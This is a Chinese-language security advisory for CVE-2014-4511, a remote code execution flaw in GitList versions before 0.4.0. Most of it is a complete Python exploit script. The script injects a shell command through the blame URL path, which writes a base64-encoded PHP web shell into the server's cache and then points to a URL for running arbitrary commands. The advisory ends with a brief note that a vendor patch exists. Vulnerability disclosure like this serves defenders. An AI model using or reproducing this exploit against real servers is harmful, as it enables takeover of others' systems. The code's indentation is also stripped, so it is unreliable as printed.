发布日期：2014-06-30
更新日期：2014-07-02
受影响系统：
GitList GitList < 0.4.0
GitList GitList
描述：
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BUGTRAQ ID: 68253
CVE(CAN) ID: CVE-2014-4511
GitList是用PHP编写的开源软件，是git库浏览器。
GitList 0.4.0之前版本在实现上存在远程代码执行漏洞，远程攻击者可利用此漏洞执行任意代码。
<*来源：drone
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
from commands import getoutput
import urllib
import sys
from commands import getoutput
import urllib
import sys
"""
Exploit Title: Gitlist <= 0.4.0 anonymous RCE
Date: 06/20/2014
Author: drone (@dronesec)
Vendor Homepage:
Software link: https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz
Version: <= 0.4.0
Fixed in: 0.5.0
Tested on: Debian 7
More information:
cve: CVE-2014-4511
"""
if len(sys.argv) <= 1:
print '%s: [url to git repo] {cache path}' % sys.argv[0]
print ' Example: python %s ' % sys.argv[0]
print ' Example: python %s /var/www/git/cache' % sys.argv[0]
sys.exit(1)
url = sys.argv[1]
url = url if url[-1] != '/' else url[:-1]
path = "/var/www/gitlist/cache"
if len(sys.argv) > 2:
path = sys.argv[2]
print '[!] Using cache location %s' % path
# payload <?system($_GET['cmd']);?>
payload = "PD9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo="
# sploit; python requests does not like this URL, hence wget is used
mpath = '/blame/master/""`echo {0}|base64 -d > {1}/x.php`'.format(payload, path)
mpath = url+ urllib.quote(mpath)
out = getoutput("wget %s" % mpath)
if '500' in out:
print '[!] Shell dropped; go hit %s/cache/x.php?cmd=ls' % url.rsplit('/', 1)[0]
else:
print '[-] Failed to drop'
print out
建议：
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厂商补丁：
GitList
-------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：